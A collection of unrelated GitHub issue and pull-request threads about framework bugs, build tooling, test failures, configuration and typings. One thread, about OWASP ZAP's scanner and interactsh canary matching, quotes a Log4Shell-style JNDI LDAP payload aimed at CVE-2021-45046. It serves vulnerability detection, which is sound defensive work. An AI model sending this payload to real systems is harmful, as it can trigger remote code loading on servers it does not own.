Laravel version: 5.5
Package version: 3.1.18

Description
I use   return Excel::download(new UserExport, 'users.xlsx');  local can Export but on IIS not work log error testing.ERROR: mkdir(): File exists {"userId":1,"exception":"[object] (ErrorException(code: 0): mkdir(): File exists at \vendor\\maatwebsite\\excel\\src\\Files\\TemporaryFileFactory.php:52)
on IIS

php artisan config:clear can work but Excel file local has 0 on IIS '0' not show
php artisan config:cache can't work

Steps to Reproduce
Expected behavior:
download Excel
on IIS  '0' not show

local has 0

Actual behavior:
testing.ERROR: mkdir(): File exists {"userId":1,"exception":"[object] (ErrorException(code: 0): mkdir(): File exists at \vendor\\maatwebsite\\excel\\src\\Files\\TemporaryFileFactory.php:52)
Additional Information
Any additional information, configuration or data that might be necessary to reproduce the issue.

我也报了同样的错误，但不知道是否是同一个原因，我的错误是由临时存储路径引起的，我改变了它的路径：vendor\maatwebsite\excel\src\Files\TemporaryFileFactory.php
public function __construct(string $temporaryPath = null, string $temporaryDisk = null)
{
    $this->temporaryPath = sys_get_temp_dir();
    $this->temporaryDisk = $temporaryDisk;
}

Please make sure, when you contribute, your reply is in English. Thanks

Similar problem.
php 7.1.25
package 3.1
laravel 5.8
web-server IIS
sys_get_temp_dir - fixes a problem,
as I understand it, the current code works with tmp of the current user

Try setting https://github.com/Maatwebsite/Laravel-Excel/blob/3.1/config/excel.php#L166 to storage_path or something that you can control with IIS. I've 0 knowledge of IIS, so that's unfortunately as far as I can help. If that doesn't work, best to post a question of a forum like Stack Overflow, there will be people there that have more experience with IIS. If anything needs to be fixed in this package, feel free to open a PR.

thanks, we will switch to nginx soon, added purely to eliminate the cause

It's very complicated why IIS wont execute and say :"mkdir file exists", but I manage to fix by using a path inside Root folder, for example    'local_path'  => '../../Laravel/storage/',


AssetManager::getAssetUrl problem with filemtime

In code:
if ($this->appendTimestamp && ($timestamp = @filemtime("$basePath/$asset")) > 0) {

$basePath can be set to "@webroot/asset", but 'filemtime' need real filename not alias
It may need to replace
@filemtime("$basePath/$asset")

to
@filemtime(Yii::getAlias("$basePath/$asset"))

the code is correct, alias is resolved after configuration: https://github.com/yiisoft/yii2/blob/master/framework/web/AssetManager.php#L173


Make GUH cleanup frequency configurable via dsl

This allows the frequency at which cleanup of caches in Gradle User Home occur configurable via DSL in an init script.  Currently the only options are the ones present today (daily cleanup or disabled cleanup) but in followup work we'll add other options (e.g. always perform cleanup).

@bot-gradle test this

@bot-gradle test this

OK, I've already triggered the following builds for you:

PullRequestFeedback build

@bot-gradle test this

OK, I've already triggered the following builds for you:

PullRequestFeedback build

@bot-gradle test and merge

Your PR is queued. See the queue page for details.

OK, I've already triggered a build for you.


Linelength Does Not Autocorrect

I'm working in a Kotlin codebase that leverages Detekt. It seems like Klint isn't autocorrecting line length when it should.
https://github.com/detekt/detekt/discussions/4049
Is this possible to do? We'd love to turn on the line length rule in our detekt config but tediously hand-editing each one would be 😭
IntelliJ will do some lines but we'd love Detekt (leveraging Klint) to do all of it
https://stackoverflow.com/questions/68806617/intellij-reformat-code-does-not-correct-all-line-lengths?noredirect=1#comment121603032_68806617

It's possible to do, though not very trivial, please follow this issue for updates https://github.com/pinterest/ktlint/issues/251


Stubs should download whenever an import is found, not only if the package is installed

Based on telemetry it seems that downloading Django stubs only when Django is actually installed is causing completions to not work more often.
The hypothesis here is that people start typing Django code without

The 'correct' environment selected
Django even installed

additionally it looks like the download code is downloading from the wrong spot.
It should come from here:
sbdchd/django-types
not from here:
typeddjango/django-stubs
At least our build action gets it from the first one.

Although the second one is updated way more often :(
https://github.com/typeddjango/django-stubs


Move to Chart.js 3.x

See https://www.chartjs.org/docs/latest/getting-started/v3-migration.html.

Nah. Moved to a static SVG image. All the JavaScript made the page ridiculously slow...


ImportError: No module named pydot | rqt_graph

I'm running ROS Kinetic on Fedora 29.
Running rqt_graph command gives the following warning (not fatal I guess) and error (fatal):
Warning: QT_DEVICE_PIXEL_RATIO is deprecated. Instead use:
   QT_AUTO_SCREEN_SCALE_FACTOR to enable platform plugin controlled per-screen factors.
   QT_SCREEN_SCALE_FACTORS to set per-screen factors.
   QT_SCALE_FACTOR to set the application global scale factor.
RosPluginProvider.load(rqt_graph/RosGraph) exception raised in __builtin__.__import__(rqt_graph.ros_graph, [RosGraph]):
Traceback (most recent call last):
  File "/home/Giuseppe/ros_catkin_ws/install_isolated/lib/python2.7/site-packages/rqt_gui/ros_plugin_provider.py", line 80, in load
    module = __builtin__.__import__(attributes['module_name'], fromlist=[attributes['class_from_class_type']], level=0)
  File "/home/Giuseppe/ros_catkin_ws/install_isolated/lib/python2.7/site-packages/rqt_graph/ros_graph.py", line 45, in <module>
    from qt_dotgraph.dot_to_qt import DotToQtGenerator
  File "/home/Giuseppe/ros_catkin_ws/install_isolated/lib/python2.7/site-packages/qt_dotgraph/dot_to_qt.py", line 36, in <module>
    import pydot
ImportError: No module named pydot

PluginManager._load_plugin() could not load plugin "rqt_graph/RosGraph":
Traceback (most recent call last):
  File "/home/Giuseppe/ros_catkin_ws/install_isolated/lib/python2.7/site-packages/qt_gui/plugin_handler.py", line 99, in load
    self._load()
  File "/home/Giuseppe/ros_catkin_ws/install_isolated/lib/python2.7/site-packages/qt_gui/plugin_handler_direct.py", line 54, in _load
    self._plugin = self._plugin_provider.load(self._instance_id.plugin_id, self._context)
  File "/home/Giuseppe/ros_catkin_ws/install_isolated/lib/python2.7/site-packages/qt_gui/composite_plugin_provider.py", line 71, in load
    instance = plugin_provider.load(plugin_id, plugin_context)
  File "/home/Giuseppe/ros_catkin_ws/install_isolated/lib/python2.7/site-packages/qt_gui/composite_plugin_provider.py", line 71, in load
    instance = plugin_provider.load(plugin_id, plugin_context)
  File "/home/Giuseppe/ros_catkin_ws/install_isolated/lib/python2.7/site-packages/rqt_gui_py/ros_py_plugin_provider.py", line 60, in load
    return super(RosPyPluginProvider, self).load(plugin_id, plugin_context)
  File "/home/Giuseppe/ros_catkin_ws/install_isolated/lib/python2.7/site-packages/qt_gui/composite_plugin_provider.py", line 71, in load
    instance = plugin_provider.load(plugin_id, plugin_context)
  File "/home/Giuseppe/ros_catkin_ws/install_isolated/lib/python2.7/site-packages/rqt_gui/ros_plugin_provider.py", line 86, in load
    raise e
ImportError: No module named pydot

I've installed both pydot and graphviz libraries through dnf command.
No idea how to solve.

According to the error message pydot is not installed correctly. You can reproduce this by running python -c "import pydot; print(pydot.__file__)" (which I expect to fail with an ImportError). If the command does pass you might want to check the printed path if that refers to Python 2.7.
Since there is nothing wrong in this repository I am going to close this ticket. Feel free to continue commenting.

You are correct, it gives the following error:
Traceback (most recent call last):
  File "<string>", line 1, in <module>
ImportError: No module named pydot

Should I dnf erase it and then dnf install it again?

I have no idea what dnf does since I have never used Fedora. You might want to double check what files it actually installs and if they are for Python 2.7 and on the PYTHONPATH.

@dirk-thomas thank you!
The problem was that I had installed python3-pydot but it needed python2-pydot as you suggested in you answer.


add workflow for aks database backup and restore

Context
need to have daily backups and a working restore workflow after production migration of rsm to aks
Changes proposed in this pull request
add workflows for aks database backup and restore.
until aks in production the scheduled database backup is commented out
code based on latest templates from teachers services cloud repo
Guidance to review
see successful backup run https://github.com/DFE-Digital/refer-serious-misconduct/actions/runs/12028087426
Link to Trello card
rsm: add workflow for aks database backup and restore
Checklist

[ ] Attach to Trello card
[ ] Rebased main
[ ] Cleaned commit history
[ ] Tested by running locally

 rsm: add workflow for aks database backup and restore


Rabin Karp Algorithm : Documentation (CP)

Description 📜
This is the documentation file for Rabin Karp Algorithm. #7458

Type of change 📝

[x] Documentation (Content Creation in the form of codes or tutorials)

Domain of Contribution 📊

[x] Competitive Programming

Checklist ✅

[x] I follow Contributing Guidelines & Code of conduct of this project.
[x] I have performed a self-review of my own code or work.
[x] I have commented my code, particularly in hard-to-understand areas.
[x] My changes generates no new warnings.
[x] I'm GWOC'21 contributor

Screenshots / Gif (Optional) 📸

@ravireddy07 done ! changed the name to Rabin_karp.md


Please consider fixing issues detected by repository checker

Notification from ioBroker Check and Service Bot
Dear adapter developer,
I'm the ioBroker Check and Service Bot. I'm an automated tool processing routine tasks for the ioBroker infrastructure. I have recently checked the repository for your adapter nissan for common errors and appropiate suggestions to keep this adapter up to date.
Please see the result of the check below.
ioBroker.nissan
   -

:thumbsup: No errors found
:thumbsup: No warnings found
Please review issues reported and consider fixing them as soon as appropiate.
Feel free to contact me (@iobroker-bot) if you have any questions or feel that an issue is incorrectly flagged.
And THANKS A LOT for maintaining this adapter from me and all users.
Let's work together for the best user experience.
your
ioBroker Check and Service Bot
Note: This issue replaces issue #36
@mcm1957 for evidence

All issues reported earlier seem to be fixed now.
THANKS for your support.
This issue can be closed.
your
ioBroker Check and Service Bot


ROX-9569: support building and e2e-testing operator on prow

Description
First stab, to get the bare basics working. No support for upgrade testing yet, that might be more complex and will be addressed later.
Checklist

[ ] Investigated and inspected CI test results
[x] Unit test and regression tests added
[x] ~Evaluated and added CHANGELOG entry if required~
[x] ~Determined and documented upgrade steps~
[x] ~Documented user facing changes (create PR based on openshift/openshift-docs and merge into rhacs-docs)~

Testing Performed
Relying on CI.

/test all

Rationale.


⚠ ClamAV has degraded performance

In 1768349, ClamAV (https://spamassassin.apache.org/) experienced degraded performance:

HTTP code: 200
Response time: 479 ms

Resolved: ClamAV performance has improved in 9da58b6.


rake installation conflict with passenger recipe

Hi,
I install rbenv before nginx::passenger and I run into this failure below where the gem_package 'rake' conflicts with rake already installed.  I can create a PR but wanted to create this first to get feedback on an implementation solution.  I would either add the force option or make a flag for setting options.  Thoughts?
           Error executing action `install` on resource 'gem_package[rake]'
           ================================================================================

           Mixlib::ShellOut::ShellCommandFailed
           ------------------------------------
           Expected process to exit with [0], but received '1'
           ---- Begin output of /opt/rbenv/shims/gem install rake -q --no-rdoc --no-ri -v "10.3.2" ----
           STDOUT:
           STDERR: ERROR:  Error installing rake:
           	"rake" from rake conflicts with /opt/rbenv/versions/2.1.4/bin/rake
           ---- End output of /opt/rbenv/shims/gem install rake -q --no-rdoc --no-ri -v "10.3.2" ----

Resolved in #161


update love plugin to 1.4

Thanks :)

Thanks @saibotu :)
BTW: https://github.com/Bluscream/pyTSon_plugins/blob/master/scripts/autoFollow/init.py


Build one file on windows to avoid archiving

Conclusion: windows onefile mode doesn't produce really one file, but an application with libs similar to standalone. Windows build should be additionally packaged to portable executable if possible.

Fixed ccache paths and added nuitka caching.


TestTLSGRPCRejectInsecureClient fail

https://semaphoreci.com/coreos/etcd/branches/pull-request-4678/builds/12
2016/03/04 03:21:31 grpc: Conn.resetTransport failed to create client transport: connection error: desc = "transport: dial unix localhost:node507431623247589594.sock: connect: no such file or directory"; Reconnecting to "localhost:node507431623247589594.sock"
2016/03/04 03:21:31 grpc: Conn.transportMonitor exits due to: grpc: timed out trying to connect
2016/03/04 03:21:31 grpc: Conn.resetTransport failed to create client transport: connection error: desc = "transport: dial unix localhost:node507431623247589594.sock: connect: no such file or directory"; Reconnecting to "localhost:node507431623247589594.sock"
2016/03/04 03:21:31 grpc: Conn.resetTransport failed to create client transport: connection error: desc = "transport: dial unix localhost:node507431623247589594.sock: connect: no such file or directory"; Reconnecting to "localhost:node507431623247589594.sock"
2016/03/04 03:21:31 grpc: Conn.transportMonitor exits due to: grpc: timed out trying to connect
2016/03/04 03:21:31 grpc: Server.Serve failed to complete security handshake from "@": tls: first record does not look like a TLS handshake
2016/03/04 03:21:31 transport: http2Client.notifyError got notified that the client transport was broken unexpected EOF.
...
2016/03/04 03:21:32 grpc: Server.Serve failed to complete security handshake from "@": tls: first record does not look like a TLS handshake
2016/03/04 03:21:32 transport: http2Client.notifyError got notified that the client transport was broken unexpected EOF.
2016/03/04 03:21:32 grpc: Server.Serve failed to complete security handshake from "@": tls: first record does not look like a TLS handshake
2016/03/04 03:21:32 transport: http2Client.notifyError got notified that the client transport was broken unexpected EOF.
2016/03/04 03:21:32 grpc: Server.Serve failed to complete security handshake from "@": tls: first record does not look like a TLS handshake
2016/03/04 03:21:32 transport: http2Client.notifyError got notified that the client transport was broken unexpected EOF.
2016/03/04 03:21:32 grpc: Server.Serve failed to complete security handshake from "@": tls: first record does not look like a TLS handshake
2016/03/04 03:21:32 transport: http2Client.notifyError got notified that the client transport was broken unexpected EOF.
2016/03/04 03:21:32 grpc: Server.Serve failed to complete security handshake from "@": tls: first record does not look like a TLS handshake
2016/03/04 03:21:32 transport: http2Client.notifyError got notified that the client transport was broken unexpected EOF.
2016/03/04 03:21:32 grpc: Server.Serve failed to complete security handshake from "@": tls: first record does not look like a TLS handshake
2016/03/04 03:21:32 transport: http2Client.notifyError got notified that the client transport was broken unexpected EOF.
2016/03/04 03:21:32 grpc: Server.Serve failed to complete security handshake from "@": tls: first record does not look like a TLS handshake
2016/03/04 03:21:32 transport: http2Client.notifyError got notified that the client transport was broken unexpected EOF.
2016/03/04 03:21:32 grpc: Server.Serve failed to complete security handshake from "@": tls: first record does not look like a TLS handshake
2016/03/04 03:21:32 transport: http2Client.notifyError got notified that the client transport was broken unexpected EOF.
2016/03/04 03:21:32 grpc: Server.Serve failed to complete security handshake from "@": tls: first record does not look like a TLS handshake
2016/03/04 03:21:32 transport: http2Client.notifyError got notified that the client transport was broken unexpected EOF.
2016/03/04 03:21:32 grpc: Server.Serve failed to complete security handshake from "@": tls: first record does not look like a TLS handshake
2016/03/04 03:21:32 transport: http2Client.notifyError got notified that the client transport was broken unexpected EOF.
2016/03/04 03:21:32 grpc: Server.Serve failed to complete security handshake from "@": tls: first record does not look like a TLS handshake
2016/03/04 03:21:32 transport: http2Client.notifyError got notified that the client transport was broken unexpected EOF.
2016/03/04 03:21:32 grpc: Server.Serve failed to complete security handshake from "@": tls: first record does not look like a TLS handshake
2016/03/04 03:21:32 transport: http2Client.notifyError got notified that the client transport was broken unexpected EOF.
2016/03/04 03:21:32 grpc: Server.Serve failed to complete security handshake from "@": tls: first record does not look like a TLS handshake
2016/03/04 03:21:32 transport: http2Client.notifyError got notified that the client transport was broken unexpected EOF.
2016/03/04 03:21:32 grpc: Server.Serve failed to complete security handshake from "@": tls: first record does not look like a TLS handshake
2016/03/04 03:21:32 transport: http2Client.notifyError got notified that the client transport was broken unexpected EOF.
2016/03/04 03:21:32 grpc: Server.Serve failed to complete security handshake from "@": tls: first record does not look like a TLS handshake
2016/03/04 03:21:32 transport: http2Client.notifyError got notified that the client transport was broken unexpected EOF.
2016/03/04 03:21:32 grpc: Server.Serve failed to complete security handshake from "@": tls: first record does not look like a TLS handshake
2016/03/04 03:21:32 transport: http2Client.notifyError got notified that the client transport was broken unexpected EOF.
2016/03/04 03:21:32 grpc: Server.Serve failed to complete security handshake from "@": tls: first record does not look like a TLS handshake
2016/03/04 03:21:32 transport: http2Client.notifyError got notified that the client transport was broken unexpected EOF.
2016/03/04 03:21:32 grpc: Server.Serve failed to complete security handshake from "@": tls: first record does not look like a TLS handshake
2016/03/04 03:21:32 transport: http2Client.notifyError got notified that the client transport was broken unexpected EOF.
2016/03/04 03:21:32 grpc: Server.Serve failed to complete security handshake from "@": tls: first record does not look like a TLS handshake
2016/03/04 03:21:32 transport: http2Client.notifyError got notified that the client transport was broken unexpected EOF.
2016/03/04 03:21:32 grpc: Server.Serve failed to complete security handshake from "@": tls: first record does not look like a TLS handshake
2016/03/04 03:21:32 transport: http2Client.notifyError got notified that the client transport was broken unexpected EOF.
2016/03/04 03:21:32 grpc: Server.Serve failed to complete security handshake from "@": tls: first record does not look like a TLS handshake
2016/03/04 03:21:32 transport: http2Client.notifyError got notified that the client transport was broken unexpected EOF.
2016/03/04 03:21:38 grpc: Conn.transportMonitor exits due to: grpc: timed out trying to connect
2016/03/04 03:21:33 grpc: Conn.resetTransport failed to create client transport: connection error: desc = "transport: dial unix localhost:node507431623247589594.sock: connect: no such file or directory"; Reconnecting to "localhost:node507431623247589594.sock"
panic: runtime error: invalid memory address or nil pointer dereference
[signal 0xb code=0x1 addr=0x10 pc=0x73679f]

goroutine 18552 [running]:
github.com/coreos/etcd/contrib/recipes.(*DoubleBarrier).Leave(0xc821727f40, 0x0, 0x0)
	/home/runner/workspace/src/github.com/coreos/etcd/gopath/src/github.com/coreos/etcd/contrib/recipes/double_barrier.go:77 +0x1af
github.com/coreos/etcd/contrib/recipes.(*DoubleBarrier).Leave(0xc821727f40, 0x0, 0x0)
	/home/runner/workspace/src/github.com/coreos/etcd/gopath/src/github.com/coreos/etcd/contrib/recipes/double_barrier.go:130 +0x70c
github.com/coreos/etcd/integration.TestDoubleBarrierFailover.func2(0xc8232f77a0, 0xa, 0xc820178c60, 0xc82b73e540)
	/home/runner/workspace/src/github.com/coreos/etcd/gopath/src/github.com/coreos/etcd/integration/v3_double_barrier_test.go:109 +0x2b1
created by github.com/coreos/etcd/integration.TestDoubleBarrierFailover
	/home/runner/workspace/src/github.com/coreos/etcd/gopath/src/github.com/coreos/etcd/integration/v3_double_barrier_test.go:111 +0x1a6

github.com/coreos/etcd/contrib/recipes.(*DoubleBarrier).Leave(0xc821727f40, 0x0, 0x0)/home/runner/workspace/src/github.com/coreos/etcd/gopath/src/github.com/coreos/etcd/contrib/recipes/double_barrier.go:77 +0x1af

@heyitsanthony seems like there is also a routine leak?

Source of leak is probably:
--- FAIL: TestDoubleBarrierFailover (10.25s)
	v3_double_barrier_test.go:119: timed out waiting for enter, 9

@heyitsanthony I think this is fixed by https://github.com/coreos/etcd/pull/4683?
I don't see it anymore after your patch.

I don't think that patch fixes the problem; there would have been a panic in the test log if it was hitting that path.

The root cause is #4688. Closing this one in favor of #4688.

We got one more. This time TestTLSGRPCRejectInsecureClient times out after 15m.
Looks like remote address causes grpc to error:
=== RUN   TestTLSGRPCRejectInsecureClient
2016/03/05 21:04:52 grpc: Server.Serve failed to complete security handshake from "@": tls: first record does not look like a TLS handshake
2016/03/05 21:04:52 transport: http2Client.notifyError got notified that the client transport was broken unexpected EOF.

https://github.com/grpc/grpc-go/blob/master/server.go#L273


[Server] Update Bookmark to have scrapable field

[ ]  needs #220

@vijay-kesanakurthi Would you mind if I give you the #220 as well since this one too since it needs it?

Sure,, assign me that one too.

Yes add me.


Visualization

Clustering all the queries in the dataset: https://toluclassics.github.io/masakhane_xqa/visualization

Check the average length of queries in the dataset


[BUG] Report bug

🐛 Bug description
"resolveDirective" is imported from external module "vue" but never used

Never Ends ???

We temporarily close this due to the lack of enough information.
Please provide a minimal reproduction to reopen the issue.
Thanks.

Why reproduction is required


Optimize chunk size

Optimizing the chuck size may offer a significant I/O improvement. See, e.g., information here.

Implemented in dbcc725252218ebba6a013d34750be058549e5ff.


Remove hover state from the basemaps labels layer

We're planning to rethink this element a bit, to make it stand out less, since it's only informative and not actionable. But for the time being, in order to reduce confusions in the users: Could you remove the hover state?

Thank you!!

@matallo, please, take care of it, an easy one 💋 .

Or, if you click over it, it could go to the basemaps section...

I disagree with this behavior because you can't change the labels options. The modificator is the basemap selector (module below).
We should rethink on this component but the moment remove the hover state is a good approach.

But labels + base layer belong to the same thing, base layer, right?

you can't change the labels options

but in the next iteration we'll have a check in the basemap panel to activate/deactivate labels
working on the immediate changes

If we give an action to that layer it might imply to the user that they can edit or style the labels, which is what you do when you access any other layer, and that's not the case for basemaps labels.
Also, although labels and basemaps belong to the same thing, for the users we're separating that visually to let them know that labels will be on top of everything, always. So it could also be confusing that if you click on the layer on top of your map, you end up going to the one below everything.
Don't you think?


Improve canary detection

Please describe your feature request:
OWASP ZAPProxy is using InteractSh in the ZAP OAST AddOn.
I discovered an unexpected difficulty during implementing a scanner for CVE-2021-45046.
If we send simply the payload ${jndi:ldap://<IP_ADDRESS>#<canary>/abc} then it will not be assigned by interactsh to the correct correlationId. Because it is splitted by dots before checking for the ids. And in this particular payload there is no dot by design in front of the canary. e.g. here: https://github.com/projectdiscovery/interactsh/blob/c7a1b32a1a3b11aa131dd3438d85c4f4c3386cee/pkg/server/dns_server.go#L149-L160
As example where canary is 123456789
Does not work: abc<canary>.interact.sh -> abc123456789.interact.sh
Does work: abc.<canary>.interact.sh -> abc.123456789.interact.sh
Our workaround is currently that all payloads are generated with a char plus a dot in front of the canary (<char>.<canary>.interact.sh). Therefore no scan author can miss this dot accidentally, if the payload would need that.
(see https://github.com/zaproxy/zaproxy/issues/7003 and https://github.com/zaproxy/zap-extensions/pull/3432)
Long term it is probably best to improve interactsh that the presence of the canary is detected via contains check

@denniskniep this is now fixed with the latest release of interactsh server, now both the cases should be supported.
abc<canary>.interact.sh -> abc123456789.interact.sh
abc.<canary>.interact.sh -> abc.123456789.interact.sh


Use SVGPathPen instead of custom functions

Closes #8

Is there a way to get this working with color layers as well? (See #15)


"compiled against a different Node.js version" Error

Hello,
after installing "better-sqlite3", whenever I try to reload tests, I get the following message in Jasmine Explorer Log:
Worker: Caught error Error: The module '(...)/node_modules/better-sqlite3/build/Release/better_sqlite3.node'
was compiled against a different Node.js version using
NODE_MODULE_VERSION 72. This version of Node.js requires
NODE_MODULE_VERSION 64. Please try re-compiling or re-installing
the module (for instance, using npm rebuild or npm install).
at process.module.(anonymous function) [as dlopen] (ELECTRON_ASAR.js:166:20)
at Object.Module._extensions..node (internal/modules/cjs/loader.js:740:18)
at Object.module.(anonymous function) [as .node] (ELECTRON_ASAR.js:166:20)
at Module.load (internal/modules/cjs/loader.js:620:32)
at tryModuleLoad (internal/modules/cjs/loader.js:559:12)
at Function.Module._load (internal/modules/cjs/loader.js:551:3)
at Module.require (internal/modules/cjs/loader.js:658:17)
at require (internal/modules/cjs/helpers.js:20:18)
at bindings (/home/fabiow/Development/Projects/isml-linter/node_modules/bindings/bindings.js:112:48)
at Object. ((...)/node_modules/better-sqlite3/lib/database.js:6:40)
I tried those suggestions and others, but none worked. Everything else seems to be working, including running tests manually.
If I uninstall that package, Jasmine Test Explorer starts working again.
Can you please help me with that?
Thank you!

Since you can run your tests manually, my guess is that you use a different Node version in that case. Try setting jasmineExplorer.nodePath to the path of this Node version.


GH-2990 remove redundant Extension when alias mapping is var->var

GitHub issue resolved: #2990
Briefly describe the changes proposed in this PR:
When a projection alias involves a simple variable-to-variable mapping, an Extension node is redundant.

PR Author Checklist (see the contributor guidelines for more details):

[x] my pull request is self-contained
[ ] I've added tests for the changes I made
[x] I've applied code formatting (you can use mvn process-resources to format from the command line)
[x] I've squashed my commits where necessary
[x] every commit message starts with the issue number (GH-xxxx) followed by a meaningful description of the change

Could you make a test for this? Maybe something simple like QueryPlanRetrievalTest, even though it's brittle it's also very easy to create and update.

Could you make a test for this? Maybe something simple like QueryPlanRetrievalTest, even though it's brittle it's also very easy to create and update.

Fair point, I'll take a look.


Found broken link

Found Broken link here

Hi everyone,
I've noticed that there is a broken link in the README file, and I opened an issue regarding this. I would like to contribute by fixing this broken link. Could someone please guide me on how to proceed with making this change? Any help would be greatly appreciated.
Thank you!

Thanks. If you send a PR with the fix, I think someone should be able to merge your PR after reviewing it.


Authorization tab not coming while creating client

Hi,
I followed this guide in setting up keycloak client https://www.keycloak.org/docs/latest/authorization_services/#_resource_server_create_client
however I was unable to get this Authorization tab in my setup, any clue on what is going wrong with my setup?
thanks!
https://ibb.co/8bVzt5f

Hi @Vivekmauli14 unfortunately we don't provide support for Keycloak. My advice is to use the Keycloak Discussions to understand why you're not seeing the expected tabs in Keycloak.


fix: Fix snapshot importer logic

@stevenj I made the logic for setting the final column use the latest block time and separated the queries for the snapshot slot_no and the latest block time. Is this what you meant?

@stevenj I made the logic for setting the final column use the latest block time and separated the queries for the snapshot slot_no and the latest block time. Is this what you meant?

Close, but not quite.  See notes above.
On reflection I think we should add as_at_slotno and last_updated_slotno to the snapshot table.  The reason is there is no easy way to know what slot relates to the time and vice versa, and both pieces of information are important.
So, add those two fields to the schema for the snapshot table and push the schema change with this PR.
Also add updating them to the query above :)
Doesn't need a separate migration, just update the current field in the schema.

This all looks good now.
Just needs the conflicts fixed.


Add Jsonnet rule engine for DB import

This is adding a Jsonnet-based rule engine for structured data transformation.
We will use that to read benchmark results from GCS files (JSON or CSV or anything else) and transform this into tabular data for a database import.

@pzread Thank you for the review. I think I addressed all your comments. PTAL! :slightly_smiling_face:


Small fixes collected over 2018

Thank you for your submission. It will be reviewed soon and submitted for processing in CI.

@nbougalis, are you now good with the current state of this pull request?  If so we can mark it passed.  Thanks.

Still :thumbsup: from me but needs rebasing against upstream/develop.

@cryptobrad on second thought, I think that removing the hop limit logic makes sense; I'd appreciate it if you'd reintroduce that part of your patch.


Cert with min config for ACME ingress fails

Is this a BUG REPORT or FEATURE REQUEST?:
/kind bug
What happened:
A certificate without an ingress or ingressClass field in the http01 section never creates an ingress as per https://github.com/jetstack/cert-manager/blob/master/docs/user-guides/acme-http-validation.md "If neither are specified, new ingress resources will be created with a randomly generated name, but they will not have the ingress class annotation set."
What you expected to happen:
An ingress would be created with a random name without an ingress class set.
How to reproduce it (as minimally and precisely as possible):
apiVersion: certmanager.k8s.io/v1alpha1
kind: Certificate
metadata:
  name: my-cert
  namespace: default
spec:
  secretName: my-cert-tls
  issuerRef:
    name: letsencrypt-stage
  dnsNames:
  - mysite.com
  acme:
    config:
    - http01:
      domains:
      - mysite.com

Anything else we need to know?:
If you add:
ingressClass: doesnotmatterwhatyoutypehere

to the http-01 section it works but adds an unnecessary annotation to the ingress.
Environment:

Kubernetes version (use kubectl version):
Client Version: version.Info{Major:"1", Minor:"8", GitVersion:"v1.8.2", GitCommit:"bdaeafa71f6c7c04636251031f93464384d54963", GitTreeState:"clean", BuildDate:"2017-10-24T21:08:42Z", GoVersion:"go1.9.1", Compiler:"gc", Platform:"darwin/amd64"}
Server Version: version.Info{Major:"1", Minor:"8", GitVersion:"v1.8.3", GitCommit:"f0efb3cb883751c5ffdbe6d515f3cb4fbe7b7acd", GitTreeState:"clean", BuildDate:"2017-11-08T18:27:48Z", GoVersion:"go1.8.3", Compiler:"gc", Platform:"linux/amd64"}
Cloud provider or hardware configuration**:
DigitalOcean
Install tools:
Others:

Hey - thanks for your report.
I've taken another look at the code in cert-manager, and I think the documentation is actually correct here.
There's a bit of a trick with YAML that we use here - certificate.spec.acme.config.http01 is a pointer internally, and so we detect the fact that this is a set of domains to be solved with the http01 solver by looking for the existence of that pointer (i.e. it being not nil).
You've specified:
    config:
    - http01:
      domains:

but in YAML, http01 is still set to nil. You need to set http01 to {}, which is the empty (but not nil) value here, instead:
    config:
    - http01: {}
      domains:

Do let me know if that doesn't fix it for you however - our docs could be clearer on this.


support special dub dependency version syntax

dependency versions can also be specified with
"dependencies": {
  "<dependency name>": {
    "version": "<version"
  }
}

I'm gonna make a PR for this later today

But im going to wait for https://github.com/pflannery/vscode-versionlens/pull/4 to be merged as there seem to be major changes

@WebFreak001
Not sure if this is what you meant but PR #4 added the ability to read and write to a child version property.
 // codelens appears here
  "<dependency name>": {
    "version": "<version" // and text gets amended here
  }

should also be working for dub.

The changes to dub provider

I moved the selector info in to the class https://github.com/pflannery/vscode-versionlens/blob/master/src/providers/dubCodeLensProvider.js#L23-L29
typescript fixed an issue with decorators when compile js files so injection is now using decorators.

@WebFreak001 ah ok. I thought you were pulling the latest locally.
From testing with a dub file I see it working. I will vsce publish this week.

You are right, it already works in 0.4.0

:+1:


Closing/Removing a connection to a connected server

Currently we can only right click over the number for server on the left pane and click Remove Server from the context menu to remove or close the connection to a server.
I don't think it's visually very intuitive.
I personally think a red X button appearing when hovered on the top right corner of the server number would be a nice idea.

Want to back this issue? Post a bounty on it! We accept bounties via Bountysource.

Oh, wow. I didn't even know this was an option. I think that proves your point... A red X button or a gear icon might be more inviting.

Also, when you remove a server from the server list, the shortcut numbers are not reassigned until you reload the app

@marceloschmidt this is not relative to this issue.

Slack and Discord work the same way. I do think it is clear enough. Having the X button is far too much highlight for this action.


Add Connection Timeout Parameter

Added timeout parameter to set a custom timeout value, as discussed at #38 issue.

@miere @jamezp Any chance this can be rebased so it can get merged???
This change would be useful for me right now.
Cheers.

I've been meaning to process the pull queue and fix this issue, but just haven't had a chance with other deadlines ATM. Maybe I'll get a chance sometime this week or weekend and cut another Alpha release.

When could we have release with this change? Really need it.
Thanks.

I'm hoping to get to it this week or next week.

I'm replacing this with https://github.com/wildfly/wildfly-maven-plugin/pull/60 due to the merge conflict.


typings for bitfield operations seem wrong

With ioredis v4 I could do this:
const bitChecks = [];
bitChecks.push(...['GET', 'u1', 0]);
bitChecks.push(...['GET', 'u1', 300]);
const bitResults = await this.redis.bitfield(keyName, bitChecks);
return bitResults.every((bitResult): number) => bitResult === 1);

This correctly represents the behavior of Redis BITFIELD behavior where every GET takes a number of bits encoding (u1 in this case) and the offset to within the bitfield to query and I can request an arbitrary series of bitfield subcommands, each of which takes the subcommand, an encoding and an offset in a single call to a bitfield in a single key.
This should be something like this:
type BitfieldSubcommand = ['GET' | 'SET' | 'INCRBY', string, number] | ['OVERFLOW', 'WRAP' | 'SAT' | 'FAIL'];

bitfield(key: RedisKey, subcommands: BitfieldSubcommand[], callback?: Callback<unknown>): Result<unknown, Context>;

Instead you have a bunch of extremely specific declarations for bitfield none of which allows for more than one subcommand to be issued on a single key in a single fetch of the bitfield's key.
bitfield_ro looks a little better but it's not clear what the semantics of your encodingOffsets is intended to be...
  bitfield_ro(
    ...args: [
      key: RedisKey,
      encodingOffsetToken: "GET",
      ...encodingOffsets: (string | Buffer | number)[],
      callback: Callback<unknown[]>
    ]
  ): Result<unknown[], Context>;
  bitfield_ro(
    ...args: [
      key: RedisKey,
      encodingOffsetToken: "GET",
      ...encodingOffsets: (string | Buffer | number)[]
    ]
  ): Result<unknown[], Context>;

Suggests something like the following, which is not symmetrical with the actual redis command, which would be an unusual step for ioredis' interface...
const bitResults = await this.redis.bitfield(keyName, 'GET', 'u1', 0, 'u1', 300);
I'm trying to move to ioredis 5 for the largely improved typings, but this is a stumbling block...
